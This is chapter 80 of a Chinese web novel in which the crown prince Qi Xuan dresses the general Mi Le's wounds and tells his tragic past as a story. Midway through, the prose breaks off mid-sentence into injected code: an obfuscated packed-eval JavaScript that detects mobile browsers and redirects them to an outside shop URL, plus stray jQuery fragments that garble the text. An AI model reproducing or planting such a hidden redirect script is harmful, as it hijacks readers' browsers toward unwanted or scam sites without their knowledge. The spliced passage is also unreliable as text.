80.痴儿

作品:《太子命短,我护短

    西阁。


    弥乐坐在铜镜前,脱去衣裳,取出伤药想要擦拭背后的伤,却怎么也够不着,加之这西阁的烛火跳了又跳,看得双眼昏花。


    忍不住喃喃,“也不知裴千奇替我擦药时,蒙上眼没有,倘若没有,我定要挖他双眼。”


    说着说着,她力道不禁过猛,指甲戳到裂开的新伤口,倒吸一口凉气,咧嘴出声:“嘶……爽!”


    恰在此时,门外传来一阵轻悠悠的敲门声,


    “谁啊!?”弥乐想也没想,扬声道:“进来。”


    祁玄的身影逆着月光,缓步踏入。


    可刚一进门,鼻尖便嗅到一股刺鼻的血腥气,混着伤药的苦味。


    惶恐之下,他几乎是本能地抬手,骇然地扯开覆于眼上的布条。视线乍然重现,却还带着未散的模糊,她隐约看见弥乐未着衣物的脊背。


    “!”弥乐浑身一僵,猛地反应过来自己未着衣服,旋即手忙脚乱地抓住一旁脱落的衣裙,胡乱裹在胸前。


    “抱歉......”祁玄眉头一皱,下意识地想要避开视线,可身子却不听使唤,呆愣在原地。


    比起眼前的失礼的窘迫,他更关心的,是血腥的来源。


    弥乐见他双目一眨不眨,目光有些涣散,显然还未好全。


    顿时松了口气,“你怎么来了?”


    祁玄循着声音,缓缓走近,“怎么回事?”


    “什么怎么回事?”


    弥乐方才的气还没消呢,缩了缩肩膀,背过身去,不想理他。


    “是伤吗?”他的语气带着慌乱,连声线都有些发颤。


    弥乐低低“嗯”了一声,旋即毫不在意地摆手道:


    “无碍。”


    祁玄抿着嘴唇,脸色骤然惨白,那副痛楚的神色,仿佛伤在他身上似的。


    “我替你擦药。”


    “你是盲的,怎么擦?”


    “能,只是看得模糊,但是能分辨。”


    弥乐细细想了想,也是。反正他看得不真切,总比自己够不着强。道:“有劳了。”


    祁玄扶着她,让她轻轻趴在床上。模糊之中,尚能看清那一片刺眼的血红。


    他摸索着拿起桌上的膏药,指腹取出一撮伤药,极轻极缓地,涂抹着她后背的伤痕。


    抹着抹着,他眼尾渐渐泛红,手指都在微微颤抖。


    “疼吗?”


    “还好。”哪知刚说完,一股刺痛仿佛钻入骨髓一般,身子突然一抖,“疼……”


    她说完立刻捂住嘴,眼底满是诧异。


    真是奇了怪了,刀剑砍上去时,她没觉得疼;自己胡乱扒拉着擦药时,也没觉得疼。怎么祁玄只是轻轻一抹,就疼得她眼眶发酸,险些落下泪来?真是开了眼了!


    突然,伤口处传来一阵凉凉的风,轻轻吹着,那股钻心的刺痛竟瞬间消散了大半。


    祁玄正低着头,一口一口地对着伤口呵气,边吹边继续抹药,力道放得更轻了,像是蜻蜓点水,生怕力道稍重一分。


    “谁干的?”祁玄尽量压住胸中的怒火,声音却还是冷冷的。


    “那我得好好介绍了。”弥乐突然来了兴致,倒像是以苦为乐。


    “快摸摸我肩胛那道。”


    祁玄顺着她的话,将手轻轻覆上去。那里凹凸不平,是一道陈年旧疤,足有尺之三分长,好似蜈蚣。


    “那条,于丹舍前首领砍的,后来被我歼灭了他二千铁骑,导致他们月月都得上交粮草马匹,算是赔偿我的损失费哈哈哈。”


    弥乐笑得合不拢嘴,心里满是得意。


    待笑够了,她又再次开口,“它旁边儿还有俩条,你再摸摸。”


    祁玄不想摸,不愿听,不敢想。


    这些伤疤,每一道都让他心如刀绞。


    可他还是乖乖将手覆了上去。


    “这俩条,是我最寒心的,是我部叛变的将领所刺。”


    前半段,她咬着牙,说得痛心疾首。


    “后来,我摘下他们的头颅,全都挂在了城墙之上。”


    后半段,她笑得开怀,说得畅快淋漓。


    “对了,巴尔你还记得吗?”


    弥乐突然问。


    祁玄沙哑的嗓音轻答:“记得,你们弓羽营的那位少年。”


    “中间这三条,是青崖山土匪所伤的,后来,我领兵将他们一锅端了去,巴尔就是那时救下的。”


    “还有下边这较浅的这条,是幼时遭涉余那野种暗算的,后来,我挥刀阉了他,导致他现在还没找着夫人哈哈哈。”


    “弥乐……别说了。”


    祁玄的声音凄凄切切,不敢再听。


    “为何不说?”弥乐转过头,看着他,眼神露出狠色,“至于这新出现的这三条,你猜我为何要杀了魏世青?”


    突然,一滴滚烫的泪,滴入弥乐的背上。


    弥乐身子一惊,也止住了滔滔不绝的嘴。


    周遭的事物仿佛被静止了一般。


    屋外聒噪的鸦雀也一时静了声,空气里都弥漫着淡淡的香,是祁玄身上染上的雪顶幽兰香,这香令人好宁静,好安心。


    “祁玄,我好困。”弥乐的声音软了下来,带着几分疲惫,“你给我讲个故事呗。”


    “想听什么?”祁玄取来一旁的纱布,轻轻绕着她的伤口,动作轻柔得不像话,生怕稍一用力,便会弄疼了她。


    弥乐将脸埋在枕头上,闷声道:“都可以。”


    祁玄给她盖上被褥,坐在她床前,轻轻拍着被子,带着轻哄的语调。


    “久远之时,有个痴儿,半生命途多舛,本是个读书人,到最后却成了个武将士。”


    弥乐没抬头,声音从枕头里传来,闷闷地:“命运多舛?如我一般吗?”


    “许是同你一般。”


    弥乐顿时来了兴趣,一手撑着头,双眼亮晶晶的看着他,“那他的半生是怎么个坎坷法?”


    “先躺好。”祁玄伸出手,将她撑着的手肘轻轻拉下来,让她躺平。


    “彼时他甚年幼,家父暴虐无道,为争家业,将祖君囚于冷室中。家慈随性豁达,为求自由,弃下痴儿奔赴巍峨雪山。”


    弥乐乍舌:“天呐,他父亲真不是好人,母亲也不顾他。那他是怎么长大的?他父亲有管他吗?”


    “家慈临走之时,将他托孤于薛氏。”


    “薛氏待他好吗?”


    “好。”


    “那就好,那后来呢?”


    “家慈辞别惹得痴儿日日挂念,从一介书生转成了名武将,他杀伐果决,立下状功一件又一件,朝中大臣对他钦佩有佳,向他屡屡靠齐。他却不以为然,借着征战之机,他私下四处派兵寻找家慈下落。”


    弥乐闻言缓缓点头,“那倒是个好前途,后来呢?找到了吗?”


    祁玄的声音渐渐低沉了下去,带着无尽的悲痛:“找到了,在皑皑雪上山。仅剩一堆凋零的残骸。”


    弥乐的笑容僵在了脸上,不再打断,只是静静地听着。


    “祸不单行,家中庶母见她势头正盛,便意图敲山震虎,趁他征战之机,害死了带他长大的薛氏。”


    弥乐艰难地吐出话语:“薛氏死了……?”


    “同一日,在雪山上寻到家慈未及半日,便传来薛氏死讯。”祁玄的嗓音好像含着泪,“家慈尸骨未寒,未得体面;薛氏还在为他织着冬战的衣裳,还未织完呢。”


    弥乐:“……后来呢?他父亲知晓吗?有杀了那狠毒的妾吗?”


    “哼……”祁玄轻笑着冷哼一声,笑声里满是嘲讽与无奈。


    他伸出手,替弥乐将被褥掖好,盖住她的双脚,再道:


    “他自然是心知肚明的,无奈薛氏仅是一介布衣,而庶母家世显赫。”


    弥乐:“那痴儿呢?即使无人做主,何不自己将仇了却?”


    “痴儿那晚去的,提剑方要踏入门时,被庶母之子拦下,亦是他的兄长,兄长苦苦向他哀求,求他放过他母亲,他说他愿意一命抵一命。”


    祁玄的声音,很疲,很倦:


    “那是痴儿在这世道第一次见,竟有人不以身份贵贱视人,他还是……还是……”


    “还是帝王家长子,是吗?”


    正当祁玄将犹豫之时,弥乐替他说出。


    祁玄瞳孔发颤,一时失语,就这么沉默着很久。


    他身侧的烛火,经风吹愈发明灭摇曳。


    弥乐想要吹灭这火,却怕周遭黑漆看不清他。


    于是起身拾取柜上的白绸,勾着身子,想替他遮盖上。


    祁玄闻声,微微闭眼,顺从地附下身子,任由那片柔软的白绸,一圈又一圈地缠上他的眼。


    弥乐一边动作不停,一边说:


    “他竟向你开口要抵薛嫔的命,在哪一秒,你想了很多,你认为祁城烨将来呈位定是位明君,他比你更合适坐上那个位置。你生怕他内心纯净的明君之心遭到玷污,于是,你选择放下手中的剑,是吗?”


    “是。”


    弥乐:“但是,你怎就断言,自己并非明君?”


    祁玄:“我胎中带毒,活不过二十五,我之所以能承坐太子之位,仅是枚棋子的宿命。况且在我松下剑柄的那一刻,我已然将人命放之于天秤上。我愧对薛嫔,我因无能而做不到的事,但求兄长做到……”


    弥乐摊开手:“你现在,不也摆脱了恶咒不是吗?”


    祁玄摇着头:“可为时已晚。”


    “你骗的了别人,骗不了我。”弥乐轻笑道:“你并非无能,朝堂,朝野,兵部,兰台……都藏有你太子一脉。甚至魏玉身旁的碧绿,也是你祁玄的人。”


    祁玄猛地一震,难以置信地抬起头,“乐儿……”


    “我当时便想过,你明并日月,为何朝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134445|189157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    堂之上却遭众人挤兑,你疾病缠身,为何朝野之中却受万千百姓所膜拜,你不善兵武,为何能随意将我提于司阶之名,你足不出户,为何晓梁庄百姓的颠沛流离。”


    弥乐的话语越说越笃定:“而那日在襄阳殿上,你竟能及时出手提我打掉斟酒,这并非巧合。我当时原以为你是路过,亦或者悄然跟踪我,可我当瞥见碧绿那双如释负重好的眼神,我便明白了。”


    祁玄轻声赞道:“很聪明……”


    “辅佐祁城烨登位的人,不止丞相贵妃,还有你。待他顺利登位之时,你定会铲除佞臣和毒妃。在我眼里,你不是无能之人,你不会将人命分作高低贵贱。你生就不是那样的人。你并未愧对薛嫔……那为何要这般颓疾?”


    祁玄起身,面向窗外。


    此是子时,月亮清蓝似水般流光皎洁,凉风吹拂似浪拍打着白绸末尾。


    此景寂静,唯有白绸至他身后翻飞。


    “我这一生也曾执着于疆土,年少的战袍任凭雨打风吹,持着三尺长剑,手刃敌军的血液漫过地攘河川,直至爱我至深的人啊,随着争斗的洪流一个个逝去,我空洞的灵魂,彻底变得虛无。


    权利纷争似疾雨打湿我的脊梁,我原以为,世事无常,人不会永远徘徊在那该死的宿命里。可世事难料,我生于皇室,既左右不了,又不愿坐上那冰冷的皇位,那又何故在这深宫苟且,死了最好,三千繁华,弹指刹那,百年之后,不过一捧黄沙。


    我累了,我厌倦了这满无休止的权利纷争,我惶恐,在这数不清的漫漫长夜里。”


    弥乐:“于是,在噩耗传来的那天夜里,你痛不欲生,你放下手中的剑,夜不能眠。


    你明知是毒草,可只要它能让你了却痛苦,你还是选择视若无睹。


    明知是毒草,你还是服了下去。


    天下可以有一位万民敬仰的皇帝,但不能有一位万民敬仰的太子。


    所以你就此长眠。”


    至此,她才真正读懂祁玄


    一位权倾朝野却被厄运环绕的悲怆太子。


    “祁玄,你看窗外那棵老树了吗?去年大雪压断了它的枝桠,所有人都以为它活不成了。可今春它又发了新芽,比以往更茂盛,同你一般。”


    “薛娘娘用命织就的冬衣,不是为了让你冻死在寒冬里,而是盼你能替她看看下一个春天。一捧黄沙留不住,可薛娘娘留予你的,是战甲,她想你平安,想你活着。”


    “你因将人命放于天秤上,而产生心结,可是,你放的并非薛嫔,天称的另一端也并非兄长,而是万民。”


    “你因兄长是明君而推他上位,可一个能择明君、铸明君的人,才是真正的明君。人心会变,但你不会。那个宁愿自我牺牲,也要成全天下的人,永远不会变。”


    “乐儿。”祁玄回到座椅上,轻抚着她的头,由衷道:“谢谢你,可我还是无法承位了。”


    “为什么?”弥乐皱起了眉头,还是不解。


    虽说他的话语很平淡,但她丝毫听不出可惜。他好像真的不想当皇帝。


    看着他眉头皱在一块,弥乐默默叹了口气,抬手,轻轻抚平眉间的褶皱。


    祁玄的愁色被她顺下去,郁结化为柔情,耐心解释:“一开始,我便选中他、打磨他、辅佐他。既行此举,必定要扶他上位才是,需一条道路走到底。若因我身康复,而改变,那便是戏耍兄长,这会使他坠入万丈深渊,并非我所愿。”


    弥乐这才明白,祁玄这人,“正”得不像话,“直”得不像人,“正直”得惊为天人。


    “罢了罢了,但愿你兄长能不负你所期。”


    弥乐双手枕在脑后,“既然他是个明君,那便让他好好当那个明君罢。你做个闲散王爷,也未尝不可。”


    “嗯。”祁玄笑了,眉眼弯弯,乖巧地点了点头。


    弥乐长长叹了口气,“唉,也就看在魏世青一心辅助祁城烨,还有点用处的份上,那便再留他些时日好了。”


    祁玄嘴角微笑,声音温柔:“不留,兄长还是凭本事的好。”


    “怎就又留不得了?”弥乐皱眉,祁玄怎么翻脸比翻书还快。


    “留不得。”


    祁玄将心中克制很久的话,终于在此时,一一道出:“此前我对皇位毫不在意,重获新生后自然也是一样,我现在只有一个念头,便是跟着你。”


    “跟着我?跟双容一样?”弥乐摸着下巴,思索着,嘀咕着:“孜劫祁玄…不对…”


    “可以是孜劫舜尧。”


    “闭嘴闭嘴!”弥乐惊跳起身,慌忙捂住他的嘴,脸颊涨得通红,“我闹着玩的!你跟着瞎说什么?这可是违背祖宗的……”


    祁玄嘴被捂住,却依旧传来一阵支支吾吾的声音,“那有什么……大不了,我族谱单开……”


    “太子!堂堂太子!!体统!有失体统!!”弥乐的手抵得更死。